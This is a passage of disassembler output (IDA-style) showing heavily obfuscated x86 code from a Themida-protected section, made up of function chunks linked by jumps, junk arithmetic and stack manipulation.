loc_59E5ED:				; CODE XREF: sub_59A905-2B14j
		add	ecx, edi
		pop	edi
		jmp	loc_594B27
; END OF FUNCTION CHUNK	FOR sub_59A905
; ---------------------------------------------------------------------------


loc_59E5F5:				; CODE XREF: Themida_:0059F64Aj
		add	esi, ecx
		jmp	loc_5951A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E5FC:				; CODE XREF: sub_59390B+13E4j
		pop	esp
		jmp	loc_5A3FE3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E602:				; CODE XREF: Themida_:0059C235j
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 96210AFh
		sub	edx, 0C18CF40Ch
		jmp	loc_598994
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_59E616:				; CODE XREF: sub_59886E-16BAj
		inc	ebx
		push	eax
		jmp	loc_5A34C5
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_59E61D:				; CODE XREF: sub_595BAD+CFDCj
		mov	eax, 78912B80h
		shr	eax, 3
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 4C63AB9h
		xor	ebp, 2C2D4FE4h
		sub	ebp, 3F7E4AD4h
		sub	ebp, 0E2D5EEA0h
		add	eax, ebp
		pop	ebp
		xor	eax, 54805E1Ah
		xor	edx, eax
		pop	eax
		and	edi, edx
		pop	edx
		sub	edi, 18B3A685h
		jmp	loc_5A0C93
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_59E65B:				; CODE XREF: Themida_:00596E73j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_594DDD
; ---------------------------------------------------------------------------


loc_59E691:				; CODE XREF: Themida_:0059B812j
		pop	eax
		push	edi
		jmp	loc_59DC3E
; ---------------------------------------------------------------------------


loc_59E698:				; CODE XREF: Themida_:00599132j
		sub	ebp, 45703174h
		sub	ebp, ecx
		add	ebp, 45703174h
		jmp	loc_595101
; ---------------------------------------------------------------------------


loc_59E6AB:				; CODE XREF: Themida_:005A04A5j
		push	4590h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		push	eax
		mov	eax, 5934455Bh
		add	esi, eax
		pop	eax
		sub	esi, 4B8E5000h
		add	esi, edi
		push	eax
		mov	eax, 14B750B8h
		jmp	loc_591EB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594C24


loc_59E6D7:				; CODE XREF: sub_594C24+8j
		add	ebp, 4
		push	eax
		mov	eax, 710F204Ch
		push	edi
		mov	edi, 43CE7264h
		add	eax, edi
		pop	edi
		shr	eax, 2
		shl	eax, 4
		jmp	loc_59A9CE
; END OF FUNCTION CHUNK	FOR sub_594C24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59E6F7:				; CODE XREF: sub_591FE1+16FFj
		push	eax
		jmp	loc_59BB69
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_59E6FD:				; DATA XREF: Themida_:00590804o
		pop	dword ptr [edx]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59E704:				; CODE XREF: Themida_:0059EF93j
		not	dh
		sub	dh, 0FFh
		sub	dh, 9Fh
		push	3475h
		jmp	loc_595A2A

; =============== S U B	R O U T	I N E =======================================



sub_59E716	proc near		; DATA XREF: Themida_:00590A30o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00594390 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BCE9 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A333E SIZE 00000008 BYTES

		movzx	ax, byte ptr fs:[edx]
		jmp	loc_59BCE9
sub_59E716	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E720:				; CODE XREF: sub_59390B+59B1j
		xor	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		sub	edx, ebx
		sub	edx, 2EBC646Ch
		sub	edx, 43F9157Ch
		pop	ebx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59E73A:				; CODE XREF: sub_59390B+4022j
		mov	[esp+0], ecx
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59E742:				; CODE XREF: sub_59E918+1428j
		mov	dh, bl
		pop	ebx
		pop	eax
		add	al, dh
		mov	edx, [esp+6+var_8+2]
		jmp	loc_590D3F
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_59E750:				; CODE XREF: Themida_:005A09ADj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59690B
; ---------------------------------------------------------------------------


loc_59E764:				; CODE XREF: Themida_:00597508j
		xor	eax, edi
		pop	edi
		push	ebp
		push	ecx
		mov	ecx, 671A37DDh
		mov	ebp, ecx
		jmp	loc_59B937
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E775:				; CODE XREF: sub_59390B+26C7j
		pop	esp
		jmp	loc_59CA80
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E77B:				; CODE XREF: Themida_:0059153Bj
		xor	ecx, [esp]
		pop	esp
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 3AC83BD7h
		xor	esi, 3AC83BD3h
		add	ebp, 2D612F75h
		add	ebp, esi
		sub	ebp, 2D612F75h
		pop	esi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59755E
; ---------------------------------------------------------------------------


loc_59E7B1:				; CODE XREF: Themida_:0059B6E2j
		push	72DDh
		mov	[esp], ebx
		push	4932h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	0C21h
		mov	[esp], esi
		jmp	loc_5A4C63
; ---------------------------------------------------------------------------


loc_59E7D7:				; CODE XREF: Themida_:0059FA5Bj
		mov	ecx, edx
		jmp	loc_5A4F36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59E7DE:				; CODE XREF: sub_59654E+5859j
		push	edx
		jmp	loc_5917B2
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E7E4:				; CODE XREF: sub_59390B+C5D2j
		pop	ecx
		jmp	loc_5A1BE7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59E7EA:				; CODE XREF: sub_5A4CDD-F85Aj
		mov	eax, 1D2522F0h
		add	edx, eax
		pop	eax
		jmp	loc_5A4B64
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59E7F7:				; CODE XREF: sub_5A51EA-3158j
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_59591C
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_59E805:				; CODE XREF: Themida_:005A32EFj
		mov	edx, 0BDFC6004h
		add	ecx, edx
		jmp	loc_5A5752
; ---------------------------------------------------------------------------


loc_59E811:				; CODE XREF: Themida_:005911BFj
		pop	esi
		jmp	loc_5997BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59E817:				; CODE XREF: sub_59CAFB-A1D8j
		pop	ebp
		jmp	loc_5A31E0
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_59E81D:				; CODE XREF: Themida_:00592F34j
		pop	ebx
		push	7E4h
		mov	[esp], edx
		push	4
		push	dword ptr [esp]
		jmp	loc_598E4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59E833:				; CODE XREF: sub_5936EC+AAF4j
		xor	ebp, 32A2696Eh
		xor	ebp, 38DD4E10h
		jmp	loc_5A48BF
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_59E844:				; CODE XREF: Themida_:00597023j
		mov	[esp], bx
		push	ecx
		mov	cl, 0Dh
		mov	bh, cl
		pop	ecx
		sub	cl, bh
		pop	bx
		xor	al, cl
		push	dword ptr [esp]
		jmp	loc_59520D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_59E85C:				; CODE XREF: sub_5A113A-1920j
		xor	esi, 12A25BFDh
		add	edx, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_5A0B72
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------


loc_59E872:				; CODE XREF: Themida_:0059D77Fj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2F5122FFh
		jmp	loc_5A4DE2
; ---------------------------------------------------------------------------


loc_59E885:				; CODE XREF: Themida_:005A2C9Dj
		pop	ebp
		mov	ebx, edx
		jmp	loc_593C98
; ---------------------------------------------------------------------------


loc_59E88D:				; CODE XREF: Themida_:0059BA23j
		pop	ebx
		jmp	loc_59F968
; ---------------------------------------------------------------------------


loc_59E893:				; DATA XREF: Themida_:005909C0o
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_592F04
; ---------------------------------------------------------------------------


loc_59E8AB:				; CODE XREF: Themida_:005A5A63j
		mov	dl, al
		pop	eax
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_594EC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_59E8E5:				; CODE XREF: sub_5A3F6E+10j
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ecx, [esp+0]
		jmp	loc_596692
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59E8F8:				; CODE XREF: sub_5A23FB+51j
		and	edx, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		dec	edx
		jmp	loc_5A1671
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_59E906:				; CODE XREF: Themida_:0059331Bj
		pop	ecx
		push	edx
		jmp	loc_593B3A
; ---------------------------------------------------------------------------


loc_59E90D:				; CODE XREF: Themida_:00599266j
		and	dh, 71h
		xor	dh, 0E5h
		jmp	loc_5997A6

; =============== S U B	R O U T	I N E =======================================



sub_59E918	proc near		; DATA XREF: Themida_:005909FCo

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= word ptr -2

; FUNCTION CHUNK AT 00590B25 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590C18 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00590D3F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00591085 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00591791 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591A6C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00593070 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005936CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594574 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594B0C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594C7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595C1B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596032 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059837C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598B95 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00598CE7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A1D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B4F2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D2E8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D6BF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DF39 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059E3C0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E742 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F51D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059FBA8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FD39 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059FEE2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A0031 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0100 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1FAF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A20F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2606 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2E8A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A3AB1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3D6A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3E7F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A49C3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4F27 SIZE 00000007 BYTES

		lodsb
		push	small 2FE2h
		mov	[esp+2+var_2], cx
		mov	cl, 57h
		add	cl, 6
		shr	cl, 1
		shr	cl, 3
		shr	cl, 2
		add	cl, 0E7h
		push	ecx
		mov	cl, 0B0h
		xor	cl, 0D3h
		jmp	loc_5A4F27
sub_59E918	endp


; =============== S U B	R O U T	I N E =======================================



sub_59E93C	proc near		; CODE XREF: sub_590B9C+Aj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059136E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592570 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F375 SIZE 00000020 BYTES

		push	ebp
		push	7FDC5F24h
		mov	ebp, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59F375
sub_59E93C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59E953:				; CODE XREF: sub_591FE1+1874j
		xor	eax, esi
		xor	esi, eax
		not	eax
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		xchg	esi, ebp
		push	10EAh
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ebp
		add	esp, 4
		add	esp, 4
		pop	[esp+4+var_4]
		pop	eax
		push	edi
		jmp	loc_59E304
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E987:				; CODE XREF: sub_59390B+46Aj
		or	ebx, 3F09020Fh
		dec	ebx
		jmp	loc_596C95
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_59E993:				; CODE XREF: sub_5964B7-724j
		push	edi
		push	2E64035h
		pop	edi
		sub	edi, 9E592748h
		mov	eax, edi
		jmp	loc_597F35
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E9A7:				; CODE XREF: sub_59390B+72AEj
		push	eax
		mov	eax, 2292926h
		shl	eax, 3
		or	eax, 2B8F4E98h
		neg	eax
		jmp	loc_5914C4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E9BC:				; CODE XREF: Themida_:005A1766j
		xchg	edi, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_59FCC6
; ---------------------------------------------------------------------------


loc_59E9CB:				; CODE XREF: Themida_:005A371Bj
		inc	edi
		jmp	loc_59998D
; ---------------------------------------------------------------------------


loc_59E9D1:				; CODE XREF: Themida_:0059AC3Cj
		push	ecx
		push	203763A1h
		pop	ecx
		push	edi
		mov	edi, 0EDD4F97h
		or	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59215E
; ---------------------------------------------------------------------------


loc_59E9EF:				; CODE XREF: Themida_:00591B4Aj
		xchg	eax, [esp]
		pop	esp
		push	edx
		jmp	loc_592698

; =============== S U B	R O U T	I N E =======================================



sub_59E9F9	proc near		; DATA XREF: Themida_:005909F4o
		mov	cx, [esp+0]
		jmp	sub_59B06D
sub_59E9F9	endp

; ---------------------------------------------------------------------------


loc_59EA02:				; CODE XREF: Themida_:005A5085j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5953CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_59EA0B:				; CODE XREF: sub_594D13+80Fj
		mov	ecx, 0F826F34h
		and	ecx, 5F0A1637h
		jmp	loc_59C086
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_59EA1B:				; CODE XREF: Themida_:0059E333j
		push	ecx
		jmp	loc_59B294
; ---------------------------------------------------------------------------


loc_59EA21:				; CODE XREF: Themida_:0059F8D0j
		push	esi
		sub	esp, 4
		mov	[esp], eax
		push	214C63EFh
		pop	eax
		shr	eax, 3
		and	eax, 6D4F03D9h
		push	esi
		push	ebp
		jmp	loc_59EF2D

; =============== S U B	R O U T	I N E =======================================



sub_59EA40	proc near		; CODE XREF: sub_59390B+46F4j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005914BB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591E98 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592DCB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597D9E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00598865 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059A591 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A9A5 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059BAB5 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059C8AA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CF09 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F09E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1D8A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A209E SIZE 0000000E BYTES

		push	ebx
		jmp	loc_59F09E
sub_59EA40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59EA46:				; CODE XREF: Themida_:005A38A0j
		pop	esp
		push	7C0Bh
		mov	[esp], eax
		mov	eax, 0C64209Fh
		sub	ebx, eax
		pop	eax
		sub	ebx, 422A6CE0h
		add	ebx, eax
		add	ebx, 422A6CE0h
		push	eax
		push	ebp
		jmp	loc_59ACE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_59EA6C:				; CODE XREF: sub_59F4E7+12j
		neg	ebp
		jmp	loc_5A1205
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EA73:				; CODE XREF: sub_59390B+571Ej
		pop	esp
		mov	[esp+0], esi
		jmp	loc_5928C5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EA7C:				; CODE XREF: Themida_:005A5A5Bj
		pop	esp
		pop	ecx
		jmp	loc_59C91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EA83:				; CODE XREF: sub_59390B+C66Bj
		pop	esi
		push	esi
		push	edi
		mov	edi, 4BA913A6h
		jmp	loc_59877F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_59EA90:				; CODE XREF: sub_590BDF+1218Aj
		push	[esp+8+var_8]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_5A198E
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------


loc_59EAAB:				; CODE XREF: Themida_:005A2064j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5972F5
; ---------------------------------------------------------------------------


loc_59EAB8:				; CODE XREF: Themida_:0059D297j
		mov	ebp, 59564318h
		add	ebp, 35C51C3Ch
		jmp	loc_592BC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EAC8:				; CODE XREF: sub_59390B+757j
		sub	ebx, esi
		jmp	loc_593BEF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EACF:				; CODE XREF: Themida_:0059DBFFj
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59EAD4:				; CODE XREF: Themida_:00596FC4j
		push	edi
		jmp	loc_59474F
; ---------------------------------------------------------------------------


loc_59EADA:				; CODE XREF: Themida_:005A1756j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59EADF:				; CODE XREF: sub_59A431+9876j
		mov	ecx, 23A2E698h
		jmp	loc_59A0EB
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EAE9:				; CODE XREF: sub_59390B+5306j
		mov	dl, ch
		mov	ah, dl
		pop	edx
		pop	cx
		and	ah, 9Ah
		shr	ah, 1
		sub	ah, 94h
		xor	ah, 3
		jmp	loc_5A1413
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EB00:				; CODE XREF: Themida_:0059388Aj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5951EC
; ---------------------------------------------------------------------------


loc_59EB0B:				; CODE XREF: Themida_:005A08E9j
		pop	edx
		jmp	loc_59F5F0
; ---------------------------------------------------------------------------


loc_59EB11:				; CODE XREF: Themida_:005A0508j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_59152E
; ---------------------------------------------------------------------------


loc_59EB20:				; CODE XREF: Themida_:0059C2A7j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 3Ah
		mov	ch, dl
		pop	edx
		add	ch, 1Ch
		jmp	loc_59F8BA
; ---------------------------------------------------------------------------


loc_59EB33:				; CODE XREF: Themida_:0059A3D8j
		mov	ebx, eax
		pop	eax
		jmp	loc_59B4FB
; ---------------------------------------------------------------------------


loc_59EB3B:				; CODE XREF: Themida_:00595A46j
		mov	ecx, [esp]
		jmp	loc_59182B
; ---------------------------------------------------------------------------


loc_59EB43:				; CODE XREF: Themida_:0059F6A3j
		mov	eax, 45776661h
		and	eax, 0C10214h
		push	eax
		not	dword ptr [esp]
		jmp	loc_5A595A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59EB56:				; CODE XREF: sub_59FCCB+52B8j
		add	bh, 2Bh
		jmp	loc_5A0C26
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_59EB5E:				; CODE XREF: Themida_:0059978Dj
		sub	eax, esi
		pop	esi
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59BB1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F401


loc_59EB87:				; CODE XREF: sub_59F401+107Ej
		pop	ebx
		add	[esp+4], esi
		push	edx
		jmp	loc_59F06C
; END OF FUNCTION CHUNK	FOR sub_59F401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59EB92:				; CODE XREF: sub_59A75E-AE8j
		add	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xchg	ecx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		sub	esp, 2
		jmp	loc_5A3C69
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_59EBA9:				; CODE XREF: sub_5A085D+24ECj
		mov	bh, 43h
		jmp	loc_595B14
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EBB0:				; CODE XREF: sub_59390B-24C9j
		push	edi
		mov	edi, 771D6689h
		dec	edi
		shr	edi, 1
		push	ebx
		mov	ebx, 0CEABA86Fh
		sub	edi, ebx
		pop	ebx
		mov	ebx, edi
		jmp	loc_5A0AED
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EBC9:				; CODE XREF: Themida_:005A494Aj
		push	eax
		mov	eax, 4D37189h
		jmp	loc_5A0DBA
; ---------------------------------------------------------------------------


loc_59EBD4:				; CODE XREF: Themida_:005A27D8j
		push	3F66h
		mov	[esp], esp
		push	ebp
		jmp	loc_598F30
; ---------------------------------------------------------------------------


loc_59EBE2:				; CODE XREF: Themida_:00598AB2j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	edx
		jmp	loc_5A2EC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EBFE:				; CODE XREF: sub_59390B-10ADj
		mov	ecx, 9666A8Fh
		or	ecx, 39250FF3h
		shr	ecx, 4
		neg	ecx
		sub	ecx, 69433860h
		sub	ecx, 9326509Dh
		sub	ebp, 4E3F7ED5h
		add	ebp, ecx
		add	ebp, 4E3F7ED5h
		pop	ecx
		jmp	loc_593CF1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_59EC2E:				; CODE XREF: sub_5A0D58-97C8j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], esi
		push	6D838824h
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		sub	eax, 5CC91BF0h
		add	eax, 2C247E9Ah
		sub	eax, esi
		sub	eax, 2C247E9Ah
		push	ecx
		jmp	loc_597770
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------


loc_59EC6F:				; CODE XREF: Themida_:005A5B2Ej
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A2FDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59EC7C:				; CODE XREF: sub_599AE1+72Dj
		add	edx, 4
		sub	edx, 4
		jmp	loc_59D37A
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_59EF0E
; ---------------------------------------------------------------------------


loc_59EC96:				; CODE XREF: Themida_:005A1C2Ej
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5A3D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EC9F:				; CODE XREF: sub_59390B+892j
		pop	esp
		push	2AE5h
		mov	[esp+8+var_8], ebp
		push	esi
		push	edx
		jmp	loc_5915B1
; ---------------------------------------------------------------------------


loc_59ECAF:				; CODE XREF: sub_59390B+514Cj
		mov	esp, [esp-12h+arg_8+2]
		sub	esp, 4
		mov	[esp-0Eh+arg_4+2], ecx
		mov	cl, 55h
		push	0A24h
		mov	[esp-0Ah+arg_0+2], ebx
		push	edx
		mov	dh, 43h
		sub	esp, 4
		mov	[esp+0], ebx
		push	ecx
		mov	ch, 68h
		mov	bl, ch
		pop	ecx
		jmp	loc_5929FC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59ECD9:				; CODE XREF: Themida_:00598088j
		sub	eax, 3A1C5722h
		pop	edx
		sub	edi, 9854006h
		add	edi, 6EBF340Eh
		sub	edi, eax
		sub	edi, 6EBF340Eh
		add	edi, 9854006h
